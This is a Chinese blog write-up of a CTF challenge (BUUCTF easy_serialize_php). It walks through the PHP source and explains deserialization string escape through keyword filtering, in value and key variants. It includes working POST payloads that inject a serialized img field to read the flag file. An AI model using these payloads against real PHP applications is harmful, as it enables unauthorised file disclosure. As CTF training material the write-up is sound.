buuctf[安洵杯 2019]easy_serialize_php

第一次接触php序列化与反序列化,参考文章:

PHP反序列化_mineflame_的博客-CSDN博客

通过CTF题目学习反序列化字符串逃逸 - 先知社区
 

序列化:将变量转换为可保存或传输的字符串的过程;
反序列化:在适当的时候把这个字符串再转化成原来的变量使用;
这两个过程结合起来,可以轻松地存储和传输数据,使程序更具维护性;
常见的php序列化和反序列化方式主要有:serialize,unserialize

1.启动环境,查看index.php源码

分析源码:初步学习了impode()函数,preg_replace()函数,extract()函数

 <?php

$function = @$_GET['f'];   //function的value是由$_GET['f']传进来的

function filter($img){
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';  //implode() 函数返回
一个由数组元素组合成的字符串
    return preg_replace($filter,'',$img);  //preg_replace 函数执行一个
正则表达式的搜索和替换。把传入的值中的敏感字符(‘php’,‘flag’,‘php5’,‘php4’,‘fl1g’)
替换成 空格
}


if($_SESSION){
    unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST); //extract() 函数从数组中将变量导入到当前的符号表
($_SESSION["user"]和$_SESSION['function']的内容可以通过post的方式传递)

if(!$function){
    echo '<a href="index.php?f=highlight_file">source_code</a>';
}

if(!$_GET['img_path']){
    $_SESSION['img'] = base64_encode('guest_img.png');
}else{
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}  //当以get方法传入img_path的情况下,$_SESSION['img']为传入的img_path进行base64加密
和sha1加密

$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){
    highlight_file('index.php');
}else if($function == 'phpinfo')   //将_SESSION序列化且过滤,将值赋给$serialize_info{
    eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
    $userinfo = unserialize($serialize_info); //当get传入的f的值,也就是
$function的值等于'show_image'时,就会将$serialize_info反序列化,然后将值
赋给$userinfo['img']指向的文件(base64解密后)
    echo file_get_contents(base64_decode($userinfo['img']));
} 

2.根据提示,f=phpinfo

发现自动包含了文件/d0g3_f1ag.php,那么我们就需要查看这个文件

 3.继续看代码,最后一个语句有函数file_get_contents()就是查看文件,我们就需要使里面的参数为该php文件

看值$userinfo,是对_SESSION变量序列化后过滤再反序列化,存在反序列化字符逃逸漏洞。

反序列化字符逃逸,分为两类:一类是字符增多,一类是减少,

本题利用的是一个过滤函数,所以是减少类型的

上文代码中有一个输出的内容,是我们可控的部分,我们可以通过改变img_path的内容或者直接改变userinfo[‘img’]的内容来达到 读取flag的目的。看到$serialize_info = filter(serialize($_SESSION)); 果断想到反序列化字符串逃逸

反序列化字符逃逸的漏洞本质

改变序列化字符串的长短,在序列化的对象反序列化过程中,参数是严谨的,确定了字符的长度,会自动往后找补,并且会自动将{}以外的内容抛弃。
在构造键值的时候被过滤掉了,但序列化后的字符串记录的长度不会因为过滤而改变,所以就会把序列化后的字符串的结构当做值的内容给读取。如果我们自己构造出反序列化字符串的结构,并因为过滤破坏掉原来的结构,就可以构造出恶意代码。

反序列化字符逃逸的两种方法:键值逃逸,键名逃逸

键值逃逸:若SESSION参数:
$_SESSION["user"] = 'guestflagflagflagflag';
$_SESSION['function'] = 'aaaa';
$_SESSION['img']=base64_encode('guest_img.png');
序列化后:a:3{s:4:"user";s:21:"guestflagflagflagflag";s:8:"function";s:4:"aaaa";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}
但是经过filter关键字会过滤掉flag,于是序列化字段会变短,但仍被当作了原来的value。

过滤后的结果:
a:3:{s:4:"user";s:21:"guest";s:8:"function";s:4:"aaaa";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}
由于user字段值的长度仍为21,所有会往后吞21个字符,一直吞到guest";s:8:"function",那有没有一种可能让function的值足够长能够包含我们指定为base64(dog3_flag.php)的img序列化的内容字段且被过滤掉关键字长度刚好能把img序列化字段吞进去,达到指定img赋值的效果?
首先得让img序列包含在function中这样我们才能通过吞取赋值img的值

若:
$_SESSION["user"] = 'guestflagflagflagflagflagflagflag';
$_SESSION['function'] = 'aaaaa";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:1:"1";s:1:"2";}';
在序列化SESSION得:
a:3:{s:4:"user";s:33:"guestflagflagflagflagflagflagflag";s:8:"function";s:69:"aaaaa";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:1:"1";s:1:"2";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}
filter过滤后的结果:
a:3:{s:4:"user";s:33:"guest";s:8:"function";s:69:"aaaaa";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:1:"1";s:1:"2";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}
由于替换了7个flag关键字,会往后吞28个字符串,刚好将guest";s:8:"function";s:69:"aaaaa 赋给了user,后面构造img变量,后面是随便添加的一个变量,刚好满足三个变量

使用hackbar进行post传参:

_SESSION[user]=guestflagflagflagflagflagflagflag&_SESSION[function]=aaaaa";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:1:"1";s:1:"2";}

提示flag在/d0g3_fllllllag文件中.

/d0g3_fllllllag的Base64编码为L2QwZzNfZmxsbGxsbGFn

 4.更改img为L2QwZzNfZmxsbGxsbGFn

_SESSION[user]=guestflagflagflagflagflagflagflag&_SESSION[function]=aaaaa";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";s:1:"1";s:1:"2";}

得到flag

 

 键名逃逸

原理类似,

1.先构造payloa

_SESSION[flagphp]=;s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

过滤前
a:2:{s:7:"phpflag";s:48:";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
过滤后
a:2:{s:7:"";s:48:";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
下面的步骤和值替换一样
这里的键名变为";s:48: 实现了逃逸
 

2._SESSION[flagphp]=;s:1:"1";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}

 

  • 2
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值